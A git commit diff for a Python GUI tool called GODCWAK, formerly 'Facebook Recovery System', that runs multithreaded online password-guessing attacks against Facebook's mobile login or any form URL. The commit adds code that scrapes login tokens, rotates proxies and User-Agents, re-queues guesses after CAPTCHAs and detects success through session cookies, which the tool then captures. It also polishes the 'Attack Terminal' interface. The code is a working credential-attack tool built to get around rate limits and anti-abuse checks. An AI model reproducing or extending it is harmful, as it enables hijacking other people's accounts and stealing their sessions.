Improve UI cohesion, status bar, and core attack reliability

This commit is contained in:
Dr Jones
2026-05-22 17:51:33 -07:00
parent c958a06b96
commit 1152a937f7
13 changed files with 612 additions and 189 deletions

View File

@@ -1,9 +1,12 @@
"""
Configuration and constants for the Facebook Recovery System.
Configuration and constants for GODCWAK.
"""
import os
from pathlib import Path
APP_NAME = "GODCWAK"
APP_VERSION = "1.0"
# Paths
BASE_DIR = Path(__file__).parent
DATA_DIR = BASE_DIR / "data"

10
main.py
View File

@@ -1,13 +1,11 @@
#!/usr/bin/env python3
"""
Facebook Recovery System v1.0
GODCWAK v1.0
GPU-accelerated password recovery tool with proxy rotation.
Usage:
python main.py
Requirements:
pip install -r requirements.txt
GODCWAK.bat
"""
import logging
import sys
@@ -78,9 +76,9 @@ def main():
sys.exit(1)
try:
from src.gui.app import FacebookRecoveryApp
from src.gui.app import GODCWAKApp
app = FacebookRecoveryApp()
app = GODCWAKApp()
logger.info("Application started successfully")
app.mainloop()

View File

@@ -4,10 +4,11 @@ Defaults to Facebook (m.facebook.com) behaviour; fully configurable for other si
"""
import logging
import re
import threading
import time
from dataclasses import dataclass, field
from typing import Dict, List, Optional
from urllib.parse import urlparse, urljoin
from typing import Dict, List, Optional, Tuple
from urllib.parse import urlparse
import requests
from src.attack.user_agents import get_random_mobile_ua, get_random_facebook_ua
@@ -21,42 +22,52 @@ class SiteConfig:
login_url: str = "https://m.facebook.com/login.php"
base_url: str = "https://m.facebook.com"
# HTML form field names
username_field: str = "email"
password_field: str = "pass"
# Extra static POST fields (e.g. Facebook's login_source)
extra_fields: Dict[str, str] = field(default_factory=lambda: {
"login_source": "comet_headerless",
"login": "Log In",
})
# Token scraping (CSRF)
csrf_field: str = "lsd" # empty string to disable
csrf_field: str = "lsd"
csrf_patterns: List[str] = field(default_factory=lambda: [
r'name="lsd"[^>]*value="([^"]+)"',
r'"lsd"[^}]*?"([^"]+)"',
r'name="fb_dtsg"[^>]*value="([^"]+)"',
r'"fb_dtsg"\s*:\s*"([^"]+)"',
])
# (field_name, regex) — scraped from login page and merged into POST body
token_patterns: List[Tuple[str, str]] = field(default_factory=lambda: [
("lsd", r'name="lsd"[^>]*value="([^"]+)"'),
("fb_dtsg", r'name="fb_dtsg"[^>]*value="([^"]+)"'),
("jazoest", r'name="jazoest"[^>]*value="([^"]+)"'),
("m_ts", r'name="m_ts"[^>]*value="([^"]+)"'),
("li", r'name="li"[^>]*value="([^"]+)"'),
])
# Success / failure detection in response body or URL
success_cookies: List[str] = field(default_factory=lambda: ["c_user", "sb"])
success_url_fragments: List[str] = field(default_factory=lambda: ["home", "feed", "stories"])
failure_url_fragments: List[str] = field(default_factory=lambda: ["login", "checkpoint"])
success_cookies: List[str] = field(default_factory=lambda: ["c_user", "xs", "sb"])
success_url_fragments: List[str] = field(default_factory=lambda: [
"home", "feed", "stories", "facebook.com/?", "m.facebook.com/?",
])
failure_url_fragments: List[str] = field(default_factory=lambda: [
"login", "checkpoint", "recover", "two_step",
])
captcha_indicators: List[str] = field(default_factory=lambda: [
"captcha", "security check", "confirm your identity",
"unusual activity", "verify", "prove you",
"recaptcha", "hcaptcha", "g-recaptcha", "captcha",
"security check", "confirm your identity",
"unusual activity", "prove you're human", "verify it's you",
])
rate_limit_indicators: List[str] = field(default_factory=lambda: [
"too many", "try again later", "rate limit",
"too many", "try again later", "rate limit", "temporarily blocked",
])
wrong_pass_indicators: List[str] = field(default_factory=lambda: [
"incorrect", "wrong password", "invalid", "didn't match",
"password you entered", "not match",
"password you entered", "not match", "login failed",
])
@classmethod
def for_url(cls, url: str) -> "SiteConfig":
"""Build a minimal config for an arbitrary URL (generic form POST)."""
parsed = urlparse(url)
base = f"{parsed.scheme}://{parsed.netloc}"
return cls(
@@ -64,9 +75,10 @@ class SiteConfig:
base_url=base,
extra_fields={},
csrf_field="",
token_patterns=[],
success_cookies=[],
success_url_fragments=[],
failure_url_fragments=["login", "signin", "auth"],
failure_url_fragments=["login", "signin", "auth", "error"],
)
@@ -82,53 +94,64 @@ class LoginResult:
class LoginClient:
"""
Generic HTML-form login client.
Rotate User-Agents, fetch CSRF tokens, POST credentials, analyse response.
"""
"""Generic HTML-form login client with thread-local HTTP sessions."""
def __init__(
self,
site_config: Optional[SiteConfig] = None,
request_timeout: int = 20,
):
self.site = site_config or SiteConfig()
self.site = site_config or SiteConfig()
self.request_timeout = request_timeout
self.session = requests.Session()
self.session.headers.update({
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
})
self._local = threading.local()
def reconfigure(self, site_config: SiteConfig):
self.site = site_config
self.session.cookies.clear()
session = getattr(self._local, "session", None)
if session is not None:
session.cookies.clear()
# ── CSRF helper ───────────────────────────────────────────────────────────
def _get_session(self) -> requests.Session:
session = getattr(self._local, "session", None)
if session is None:
session = requests.Session()
session.headers.update({
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
})
self._local.session = session
return session
def _get_csrf_token(self, proxies: Dict) -> str:
if not self.site.csrf_field:
return ""
def _get_form_tokens(self, proxies: Dict) -> Dict[str, str]:
if not self.site.token_patterns and not self.site.csrf_patterns:
return {}
tokens: Dict[str, str] = {}
try:
ua = get_random_mobile_ua()
resp = self.session.get(
session = self._get_session()
resp = session.get(
self.site.login_url,
proxies=proxies,
headers={"User-Agent": ua},
timeout=self.request_timeout,
)
for pattern in self.site.csrf_patterns:
m = re.search(pattern, resp.text)
html = resp.text
for field_name, pattern in self.site.token_patterns:
m = re.search(pattern, html)
if m:
return m.group(1)
tokens[field_name] = m.group(1)
if not tokens and self.site.csrf_field:
for pattern in self.site.csrf_patterns:
m = re.search(pattern, html)
if m:
tokens[self.site.csrf_field] = m.group(1)
break
except Exception as e:
logger.debug(f"CSRF token fetch failed: {e}")
return ""
# ── Core attempt ─────────────────────────────────────────────────────────
logger.debug(f"Form token fetch failed: {e}")
return tokens
def attempt_login(
self,
@@ -136,19 +159,19 @@ class LoginClient:
password: str,
proxy_string: Optional[str] = None,
) -> LoginResult:
start = time.time()
start = time.time()
proxies = self._build_proxies(proxy_string)
ua = get_random_facebook_ua()
ua = get_random_facebook_ua()
session = self._get_session()
try:
csrf = self._get_csrf_token(proxies)
tokens = self._get_form_tokens(proxies)
payload: Dict[str, str] = {
self.site.username_field: username,
self.site.password_field: password,
}
if self.site.csrf_field and csrf:
payload[self.site.csrf_field] = csrf
payload.update(tokens)
payload.update(self.site.extra_fields)
headers = {
@@ -159,7 +182,7 @@ class LoginClient:
"Cache-Control": "max-age=0",
}
resp = self.session.post(
resp = session.post(
self.site.login_url,
data=payload,
proxies=proxies,
@@ -168,7 +191,7 @@ class LoginClient:
allow_redirects=True,
)
elapsed = (time.time() - start) * 1000
return self._analyse(resp, password, elapsed)
return self._analyse(resp, password, elapsed, session)
except requests.ConnectTimeout:
return LoginResult(False, 0, _ms(start), "Connection timeout")
@@ -179,40 +202,64 @@ class LoginClient:
except Exception as e:
return LoginResult(False, 0, _ms(start), f"Error: {str(e)[:100]}")
def _analyse(self, resp: requests.Response, password: str, elapsed: float) -> LoginResult:
url = resp.url.lower()
def _analyse(
self,
resp: requests.Response,
password: str,
elapsed: float,
session: requests.Session,
) -> LoginResult:
url = resp.url.lower()
text = resp.text.lower()
code = resp.status_code
# ── Captcha check first ───────────────────────────────────────────
# Session cookies (including redirects)
all_cookies = {**session.cookies.get_dict(), **resp.cookies.get_dict()}
if "checkpoint" in url or "two_step" in url:
return LoginResult(
False, code, round(elapsed, 1),
"Checkpoint / 2FA — manual step required",
cookies=all_cookies,
redirect_url=resp.url,
)
if any(kw in text for kw in self.site.captcha_indicators):
return LoginResult(False, code, round(elapsed, 1),
"CAPTCHA detected", captcha_detected=True)
return LoginResult(
False, code, round(elapsed, 1),
"CAPTCHA detected", captcha_detected=True,
)
# ── Cookie-based success ──────────────────────────────────────────
for cookie in self.site.success_cookies:
if cookie in resp.cookies:
if cookie in all_cookies:
logger.info(f"SUCCESS via cookie '{cookie}': {password}")
return LoginResult(True, code, round(elapsed, 1),
"Login successful!",
cookies=dict(resp.cookies),
redirect_url=resp.url)
return LoginResult(
True, code, round(elapsed, 1),
"Login successful!",
cookies=all_cookies,
redirect_url=resp.url,
)
# ── URL-redirect success ──────────────────────────────────────────
failed_frag = any(f in url for f in self.site.failure_url_fragments)
if not failed_frag and code == 200:
if not failed_frag and code in (200, 302):
if any(f in url for f in self.site.success_url_fragments):
logger.info(f"Possible SUCCESS via redirect to: {url}")
return LoginResult(True, code, round(elapsed, 1),
f"Redirected to: {url[:60]}",
cookies=dict(resp.cookies),
redirect_url=resp.url)
return LoginResult(
True, code, round(elapsed, 1),
f"Redirected to: {url[:60]}",
cookies=all_cookies,
redirect_url=resp.url,
)
if "facebook.com" in url and "login" not in url:
return LoginResult(
True, code, round(elapsed, 1),
"Login successful (URL redirect)",
cookies=all_cookies,
redirect_url=resp.url,
)
# ── Rate-limit ────────────────────────────────────────────────────
if any(kw in text for kw in self.site.rate_limit_indicators):
return LoginResult(False, code, round(elapsed, 1), "Rate limited")
# ── Wrong password ────────────────────────────────────────────────
if any(kw in text for kw in self.site.wrong_pass_indicators):
return LoginResult(False, code, round(elapsed, 1), "Incorrect password")

View File

@@ -92,6 +92,9 @@ class AttackOrchestrator:
self._password_index: int = 0
self._workers_active: int = 0
self._success_event = threading.Event()
self._max_captcha_retries = 3
self._captcha_retries: dict = {}
# ── Public API ───────────────────────────────────────────────────────────
@@ -121,6 +124,8 @@ class AttackOrchestrator:
self.stats.start_time = time.time()
self._password_index = 0
self._workers_active = self.max_workers
self._success_event.clear()
self._captcha_retries.clear()
if self.on_state_change:
self.on_state_change(self.state)
@@ -159,9 +164,15 @@ class AttackOrchestrator:
def _run_worker(self, worker_id: int):
rotation_counter = 0
current_proxy: Optional[str] = None
client = LoginClient(
site_config=self.site_config,
request_timeout=self.request_timeout,
)
try:
while self.state not in (AttackState.STOPPED, AttackState.COMPLETED):
if self._success_event.is_set():
break
if self.state == AttackState.PAUSED:
time.sleep(0.1)
continue
@@ -187,24 +198,25 @@ class AttackOrchestrator:
self.stats.current_proxy = current_proxy
self.stats.active_workers = self._workers_active
result: LoginResult = self.login_client.attempt_login(
result: LoginResult = client.attempt_login(
username=self.username,
password=password,
proxy_string=current_proxy,
)
# ── Handle CAPTCHA ─────────────────────────────────────
if result.captcha_detected:
with self._lock:
self.stats.captchas_hit += 1
logger.info(f"[W{worker_id}] CAPTCHA hit — notifying GUI")
retries = self._captcha_retries.get(password, 0) + 1
self._captcha_retries[password] = retries
logger.info(f"[W{worker_id}] CAPTCHA hit (retry {retries})")
if self.on_captcha:
self.on_captcha(current_proxy)
# Re-queue this password and rotate proxy
with self._lock:
self._password_index -= 1
# CAPTCHA/rate-limit proxies are held out of immediate rotation.
current_proxy = None
if retries >= self._max_captcha_retries:
logger.warning(f"[W{worker_id}] Max CAPTCHA retries for password")
time.sleep(random.uniform(2.0, 5.0))
continue
@@ -254,6 +266,7 @@ class AttackOrchestrator:
if result.success:
logger.info(f"*** PASSWORD FOUND: {password} ***")
self._success_event.set()
if self.on_success:
self.on_success(password, current_proxy, result)
self.state = AttackState.COMPLETED

View File

@@ -7,6 +7,7 @@ from datetime import datetime
import customtkinter as ctk
from src.gui.theme import CyberpunkTheme
from src.gui.workflow import WORKFLOW_STEPS, TAB_TO_STEP
from src.gui.password_builder_tab import PasswordBuilderTab
from src.gui.proxy_manager_tab import ProxyManagerTab
from src.gui.attack_tab import AttackTab
@@ -14,13 +15,13 @@ from src.gui.logs_tab import LogsTab
from src.gui.setup_tab import SetupTab
from src.proxy.pool import ProxyPool
from src.utils.logger import AttemptLogger
from config import ASSETS_DIR, PASSWORDS_FILE
from config import ASSETS_DIR, PASSWORDS_FILE, APP_NAME, APP_VERSION, OLLAMA_CONFIG_FILE
from src.utils.file_io import count_lines
logger = logging.getLogger(__name__)
class FacebookRecoveryApp(ctk.CTk):
class GODCWAKApp(ctk.CTk):
"""Main application window."""
def __init__(self):
@@ -31,9 +32,11 @@ class FacebookRecoveryApp(ctk.CTk):
# Shared state
self.proxy_pool = ProxyPool()
self.attempt_logger = AttemptLogger()
self._attack_state = "IDLE"
self._workflow_badges = {}
# Window
self.title("GODCWAK v1.0")
self.title(f"{APP_NAME} v{APP_VERSION}")
self.geometry("1300x820")
self.minsize(1080, 720)
self.configure(fg_color=CyberpunkTheme.BG_DARK)
@@ -49,11 +52,14 @@ class FacebookRecoveryApp(ctk.CTk):
pass
self._build_header()
self._build_workflow_ribbon()
self._build_tabs()
self._build_status_bar() # must be last (packs to bottom)
self._build_status_bar()
self._tick_clock()
self._periodic_update()
self._slow_system_update()
self.set_status(f"{APP_NAME} READY — start at Step 01: Password Builder")
# ── Header ──────────────────────────────────────────────────────────────
@@ -85,10 +91,10 @@ class FacebookRecoveryApp(ctk.CTk):
badge_col = ctk.CTkFrame(inner, fg_color="transparent")
badge_col.pack(side="right", padx=(0, 5))
ctk.CTkLabel(badge_col, text="GODCWAK",
ctk.CTkLabel(badge_col, text=APP_NAME,
font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY).pack(anchor="e")
ctk.CTkLabel(badge_col, text="v1.0 // GPU-ACCELERATED",
ctk.CTkLabel(badge_col, text=f"v{APP_VERSION} // GPU-ACCELERATED",
font=("Consolas", 10),
text_color=CyberpunkTheme.TERTIARY).pack(anchor="e")
ctk.CTkLabel(badge_col, text="PROXY ROTATION // OLLAMA AI",
@@ -97,6 +103,77 @@ class FacebookRecoveryApp(ctk.CTk):
ctk.CTkFrame(outer, fg_color=CyberpunkTheme.BORDER, height=1).pack(fill="x")
# ── Workflow ribbon ─────────────────────────────────────────────────────
def _build_workflow_ribbon(self):
ribbon = ctk.CTkFrame(
self,
fg_color=CyberpunkTheme.BG_LIGHT,
border_width=1,
border_color=CyberpunkTheme.BORDER,
)
ribbon.pack(fill="x", padx=15, pady=(8, 0))
inner = ctk.CTkFrame(ribbon, fg_color="transparent")
inner.pack(fill="x", padx=10, pady=8)
ctk.CTkLabel(
inner,
text="WORKFLOW",
font=("Consolas", 9, "bold"),
text_color=CyberpunkTheme.TEXT_DIM,
width=72,
).pack(side="left", padx=(0, 8))
for step in WORKFLOW_STEPS:
chip = ctk.CTkFrame(
inner,
fg_color=CyberpunkTheme.BG_DARK,
border_width=1,
border_color=CyberpunkTheme.BORDER,
corner_radius=4,
)
chip.pack(side="left", padx=(0, 6))
num_lbl = ctk.CTkLabel(
chip,
text=step["num"],
font=("Consolas", 9, "bold"),
text_color=CyberpunkTheme.TEXT_DIM,
width=22,
)
num_lbl.pack(side="left", padx=(6, 2), pady=4)
title_lbl = ctk.CTkLabel(
chip,
text=step["title"],
font=("Consolas", 9, "bold"),
text_color=CyberpunkTheme.TEXT_SECONDARY,
)
title_lbl.pack(side="left", padx=(0, 8), pady=4)
self._workflow_badges[step["tab"]] = (chip, num_lbl, title_lbl)
self._highlight_workflow_step("Password Builder")
def _highlight_workflow_step(self, tab_name: str):
for name, (chip, num_lbl, title_lbl) in self._workflow_badges.items():
active = name == tab_name
chip.configure(
border_color=CyberpunkTheme.PRIMARY if active else CyberpunkTheme.BORDER,
fg_color=CyberpunkTheme.BG_MEDIUM if active else CyberpunkTheme.BG_DARK,
)
num_lbl.configure(
text_color=CyberpunkTheme.PRIMARY if active else CyberpunkTheme.TEXT_DIM
)
title_lbl.configure(
text_color=CyberpunkTheme.PRIMARY if active else CyberpunkTheme.TEXT_SECONDARY
)
step = TAB_TO_STEP.get(tab_name)
if step and hasattr(self, "workflow_hint_label"):
self.workflow_hint_label.configure(text=f"{step['hint']}")
# ── Tabs ─────────────────────────────────────────────────────────────────
def _build_tabs(self):
@@ -106,54 +183,76 @@ class FacebookRecoveryApp(ctk.CTk):
border_width=1,
border_color=CyberpunkTheme.BORDER,
corner_radius=6,
command=self._on_tab_changed,
)
self.tab_view.pack(fill="both", expand=True, padx=15, pady=(8, 0))
tab_names = ["Password Builder", "Proxy Manager", "Attack", "Logs", "Setup"]
tab_names = [s["tab"] for s in WORKFLOW_STEPS]
for name in tab_names:
self.tab_view.add(name)
sc = self.set_status # shared status callback
sc = self.set_status
self.password_builder_tab = PasswordBuilderTab(
self.tab_view.tab("Password Builder"),
status_callback=sc)
status_callback=sc,
app=self,
)
self.password_builder_tab.pack(fill="both", expand=True)
self.proxy_manager_tab = ProxyManagerTab(
self.tab_view.tab("Proxy Manager"),
self.proxy_pool,
status_callback=sc)
status_callback=sc,
app=self,
)
self.proxy_manager_tab.pack(fill="both", expand=True)
self.attack_tab = AttackTab(
self.tab_view.tab("Attack"),
self.proxy_pool,
status_callback=sc,
attempt_logger=self.attempt_logger)
attempt_logger=self.attempt_logger,
app=self,
)
self.attack_tab.pack(fill="both", expand=True)
self.logs_tab = LogsTab(
self.tab_view.tab("Logs"),
self.attempt_logger)
self.attempt_logger,
app=self,
)
self.logs_tab.pack(fill="both", expand=True)
self.setup_tab = SetupTab(self.tab_view.tab("Setup"))
self.setup_tab = SetupTab(
self.tab_view.tab("Setup"),
status_callback=sc,
app=self,
)
self.setup_tab.pack(fill="both", expand=True)
def _on_tab_changed(self):
try:
tab = self.tab_view.get()
self._highlight_workflow_step(tab)
step = TAB_TO_STEP.get(tab)
if step:
self.set_status(f"Step {step['num']}: {step['title']}{step['hint'][:70]}")
except Exception:
pass
def set_attack_state(self, state: str):
self._attack_state = state.upper()
self._update_attack_status_label()
# ── Status bar ───────────────────────────────────────────────────────────
def _build_status_bar(self):
"""
Rich multi-field status bar:
● DOT | STATUS MSG | WORDLIST: N | PROXIES: N | CLOCK
"""
bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, height=32)
bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK, height=34)
bar.pack(side="bottom", fill="x")
bar.pack_propagate(False)
ctk.CTkFrame(bar, fg_color=CyberpunkTheme.BORDER, height=1).pack(fill="x", side="top")
# Left: blinking dot + status message
left = ctk.CTkFrame(bar, fg_color="transparent")
left.pack(side="left", fill="y", padx=(6, 0))
@@ -163,37 +262,53 @@ class FacebookRecoveryApp(ctk.CTk):
self._status_dot.pack(side="left", padx=(0, 4))
self.status_label = ctk.CTkLabel(
left, text="GODCWAK READY",
left, text=f"{APP_NAME} READY",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY)
self.status_label.pack(side="left")
# Right: wordlist count | proxy count | separator | clock
center = ctk.CTkFrame(bar, fg_color="transparent")
center.pack(side="left", fill="both", expand=True, padx=8)
self.workflow_hint_label = ctk.CTkLabel(
center,
text="▸ Build wordlist → load proxies → configure attack → review logs",
font=("Consolas", 9),
text_color=CyberpunkTheme.TEXT_DIM,
anchor="w",
)
self.workflow_hint_label.pack(fill="x", pady=6)
right = ctk.CTkFrame(bar, fg_color="transparent")
right.pack(side="right", fill="y", padx=(0, 10))
right.pack(side="right", fill="y", padx=(0, 8))
self.clock_label = ctk.CTkLabel(
right, text="", font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_DIM)
self.clock_label.pack(side="right", padx=(10, 0))
def _sep():
ctk.CTkFrame(right, fg_color=CyberpunkTheme.BORDER,
width=1, height=16).pack(side="right", padx=6)
ctk.CTkFrame(right, fg_color=CyberpunkTheme.BORDER,
width=1, height=16).pack(side="right", padx=8)
def _metric(side="right"):
lbl = ctk.CTkLabel(
right, text="",
font=("Consolas", 9),
text_color=CyberpunkTheme.TEXT_DIM,
)
lbl.pack(side=side, padx=(0, 2))
return lbl
self.sb_proxies = ctk.CTkLabel(
right, text="PROXIES: 0",
font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_DIM)
self.sb_proxies.pack(side="right", padx=(4, 0))
ctk.CTkFrame(right, fg_color=CyberpunkTheme.BORDER,
width=1, height=16).pack(side="right", padx=8)
self.sb_wordlist = ctk.CTkLabel(
right, text="WORDLIST: 0",
font=("Consolas", 10), text_color=CyberpunkTheme.TEXT_DIM)
self.sb_wordlist.pack(side="right", padx=(4, 0))
self.clock_label = _metric()
_sep()
self.sb_attack = _metric()
_sep()
self.sb_ollama = _metric()
_sep()
self.sb_gpu = _metric()
_sep()
self.sb_proxies = _metric()
_sep()
self.sb_wordlist = _metric()
self._blink_dot()
self._update_attack_status_label()
def _blink_dot(self):
try:
@@ -209,7 +324,7 @@ class FacebookRecoveryApp(ctk.CTk):
def _tick_clock(self):
try:
self.clock_label.configure(
text=datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
text=datetime.now().strftime("%H:%M:%S"))
except Exception:
pass
self.after(1000, self._tick_clock)
@@ -217,10 +332,25 @@ class FacebookRecoveryApp(ctk.CTk):
def set_status(self, message: str):
"""Update the main status bar message (callable from any tab)."""
try:
self.status_label.configure(text=message[:120])
self.status_label.configure(text=message[:140])
except Exception:
pass
def _update_attack_status_label(self):
colors = {
"IDLE": CyberpunkTheme.TEXT_DIM,
"RUNNING": CyberpunkTheme.SUCCESS,
"PAUSED": CyberpunkTheme.WARNING,
"STOPPED": CyberpunkTheme.ERROR,
"COMPLETED": CyberpunkTheme.PRIMARY,
}
color = colors.get(self._attack_state, CyberpunkTheme.TEXT_DIM)
if hasattr(self, "sb_attack"):
self.sb_attack.configure(
text=f"ATTACK: {self._attack_state}",
text_color=color,
)
# ── Periodic updates ─────────────────────────────────────────────────────
def _periodic_update(self):
@@ -228,18 +358,18 @@ class FacebookRecoveryApp(ctk.CTk):
wl_count = count_lines(PASSWORDS_FILE)
self.sb_wordlist.configure(
text=f"WORDLIST: {wl_count:,}",
text_color=(CyberpunkTheme.SUCCESS
if wl_count > 0
text_color=(CyberpunkTheme.SUCCESS if wl_count > 0
else CyberpunkTheme.TEXT_DIM))
except Exception:
pass
try:
px_count = self.proxy_pool.available_count
px = self.proxy_pool.stats
avail = px.get("available", 0)
total = px.get("total_valid", 0)
self.sb_proxies.configure(
text=f"PROXIES: {px_count}",
text_color=(CyberpunkTheme.PRIMARY
if px_count > 0
text=f"PROXIES: {avail}/{total}",
text_color=(CyberpunkTheme.PRIMARY if avail > 0
else CyberpunkTheme.TEXT_DIM))
except Exception:
pass
@@ -249,4 +379,63 @@ class FacebookRecoveryApp(ctk.CTk):
except Exception:
pass
self.after(3000, self._periodic_update)
try:
if hasattr(self.attack_tab, "_update_readiness"):
self.attack_tab._update_readiness()
except Exception:
pass
self.after(2500, self._periodic_update)
def _slow_system_update(self):
# GPU
try:
from src.engine.gpu_accelerator import is_gpu_available, get_gpu_info
if is_gpu_available():
info = get_gpu_info()
short = info.split("(")[0].strip()[:28]
self.sb_gpu.configure(
text=f"GPU: {short}",
text_color=CyberpunkTheme.SUCCESS,
)
else:
self.sb_gpu.configure(
text="GPU: CPU MODE",
text_color=CyberpunkTheme.TEXT_DIM,
)
except Exception:
self.sb_gpu.configure(text="GPU: —", text_color=CyberpunkTheme.TEXT_DIM)
# Ollama
try:
import json
import requests
cfg = {}
if OLLAMA_CONFIG_FILE.exists():
cfg = json.loads(OLLAMA_CONFIG_FILE.read_text(encoding="utf-8"))
host = cfg.get("ollama_host", "http://localhost:11434").rstrip("/")
model = (cfg.get("model") or "").strip()
r = requests.get(f"{host}/api/tags", timeout=2)
if r.status_code == 200:
label = model[:18] if model else "no model"
self.sb_ollama.configure(
text=f"OLLAMA: {label}",
text_color=CyberpunkTheme.SUCCESS,
)
else:
self.sb_ollama.configure(
text="OLLAMA: offline",
text_color=CyberpunkTheme.ERROR,
)
except Exception:
self.sb_ollama.configure(
text="OLLAMA: offline",
text_color=CyberpunkTheme.ERROR,
)
self._update_attack_status_label()
self.after(8000, self._slow_system_update)
# Backward-compatible alias
FacebookRecoveryApp = GODCWAKApp

View File

@@ -26,10 +26,11 @@ class AttackTab(ctk.CTkFrame):
def __init__(self, parent, proxy_pool: ProxyPool,
status_callback: Optional[Callable] = None,
attempt_logger=None):
attempt_logger=None, app=None):
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
self.proxy_pool = proxy_pool
self.status_callback = status_callback
self.app = app
self.orchestrator = AttackOrchestrator(
proxy_pool, logger_instance=attempt_logger)
self._build_ui()
@@ -43,14 +44,16 @@ class AttackTab(ctk.CTkFrame):
# ── Build ──────────────────────────────────────────────────────────────────
def _build_ui(self):
ctk.CTkLabel(self, text="[ ATTACK TERMINAL ]",
font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY).pack(pady=(15, 2))
ctk.CTkLabel(self,
text="Multi-threaded · Proxy rotation · GPU-optimised wordlist · Any site",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(pady=(0, 10))
CyberpunkTheme.create_tab_header(
self, "03", "[ ATTACK TERMINAL ]",
"Multi-threaded login attempts with proxy rotation against any target URL",
)
CyberpunkTheme.create_hint_bar(
self,
"Set target URL + email → confirm readiness below → START when wordlist and proxies are loaded",
)
self._build_readiness_bar()
self._build_target_bar()
self._build_speed_panel()
self._build_stats_panel()
@@ -58,6 +61,62 @@ class AttackTab(ctk.CTkFrame):
self._build_control_buttons()
self._build_live_log()
self._update_periodic()
self._update_readiness()
def _build_readiness_bar(self):
"""At-a-glance checklist so the user knows what's missing before START."""
bar = ctk.CTkFrame(
self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER,
)
bar.pack(fill="x", padx=15, pady=(0, 8))
inner = ctk.CTkFrame(bar, fg_color="transparent")
inner.pack(fill="x", padx=12, pady=8)
ctk.CTkLabel(
inner, text="READINESS",
font=("Consolas", 10, "bold"),
text_color=CyberpunkTheme.TERTIARY,
width=80, anchor="w",
).pack(side="left")
def _chip(parent):
lbl = ctk.CTkLabel(
parent, text="",
font=("Consolas", 10, "bold"),
text_color=CyberpunkTheme.TEXT_DIM,
)
lbl.pack(side="left", padx=(0, 16))
return lbl
self.ready_target = _chip(inner)
self.ready_wordlist = _chip(inner)
self.ready_proxies = _chip(inner)
self.ready_overall = _chip(inner)
def _update_readiness(self):
target_ok = bool(self.email_entry.get().strip()) if hasattr(self, "email_entry") else False
wl = count_lines(PASSWORDS_FILE)
px = self.proxy_pool.available_count
def _set(lbl, ok: bool, ok_text: str, bad_text: str):
lbl.configure(
text=ok_text if ok else bad_text,
text_color=CyberpunkTheme.SUCCESS if ok else CyberpunkTheme.WARNING,
)
_set(self.ready_target, target_ok,
"✓ TARGET SET", "✗ NEED EMAIL")
_set(self.ready_wordlist, wl > 0,
f"✓ WORDLIST ({wl:,})", "✗ NO WORDLIST")
_set(self.ready_proxies, px > 0,
f"✓ PROXIES ({px})", "○ NO PROXIES (optional)")
all_core = target_ok and wl > 0
self.ready_overall.configure(
text="✓ READY TO START" if all_core else "✗ NOT READY",
text_color=CyberpunkTheme.SUCCESS if all_core else CyberpunkTheme.ERROR,
)
# ── Target bar (URL + username + counters) ────────────────────────────────
@@ -119,6 +178,7 @@ class AttackTab(ctk.CTkFrame):
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12), width=310)
self.email_entry.pack(side="left", padx=(0, 20))
CyberpunkTheme.apply_focus_glow(self.email_entry)
self.email_entry.bind("<KeyRelease>", lambda _e: self._update_readiness())
self.pwd_count_label = ctk.CTkLabel(
row2, text="Wordlist: 0",
@@ -364,6 +424,9 @@ class AttackTab(ctk.CTkFrame):
self.orchestrator.configure(username, passwords, site_cfg)
self.orchestrator.start()
if self.app:
self.app.set_attack_state("RUNNING")
self.start_btn.configure(state="disabled")
self.pause_btn.configure(state="normal")
self.stop_btn.configure(state="normal")
@@ -388,6 +451,8 @@ class AttackTab(ctk.CTkFrame):
def _on_stop(self):
self.orchestrator.stop()
if self.app:
self.app.set_attack_state("STOPPED")
self.start_btn.configure(state="normal")
self.pause_btn.configure(state="disabled", text="⏸ PAUSE")
self.stop_btn.configure(state="disabled")
@@ -463,6 +528,8 @@ class AttackTab(ctk.CTkFrame):
self.state_label.configure(
text=f"{state.value.upper()}",
text_color=colors.get(state, CyberpunkTheme.TEXT_DIM))
if self.app:
self.app.set_attack_state(state.value.upper())
if state in (AttackState.COMPLETED, AttackState.STOPPED):
self.start_btn.configure(state="normal")
self.pause_btn.configure(state="disabled", text="⏸ PAUSE")
@@ -487,4 +554,5 @@ class AttackTab(ctk.CTkFrame):
except Exception:
pass
self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}")
self._update_readiness()
self.after(2000, self._update_periodic)

View File

@@ -16,27 +16,22 @@ logger = logging.getLogger(__name__)
class LogsTab(ctk.CTkFrame):
"""Tab for viewing and exporting attempt logs."""
def __init__(self, parent, logger_instance: AttemptLogger):
def __init__(self, parent, logger_instance: AttemptLogger, app=None):
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
self.attempt_logger = logger_instance
self.app = app
self._build_ui()
def _build_ui(self):
"""Build the logs tab UI."""
# Title
title = ctk.CTkLabel(
self, text="[ ATTEMPT LOGS ]",
font=("Consolas", 18, "bold"),
text_color=CyberpunkTheme.PRIMARY,
CyberpunkTheme.create_tab_header(
self, "04", "[ ATTEMPT LOGS ]",
"Persistent history of every login attempt — loaded from data/attempt_log.csv",
)
title.pack(pady=(15, 5))
subtitle = ctk.CTkLabel(
self, text="Full history of all login attempts with timestamps and proxy details",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY,
CyberpunkTheme.create_hint_bar(
self,
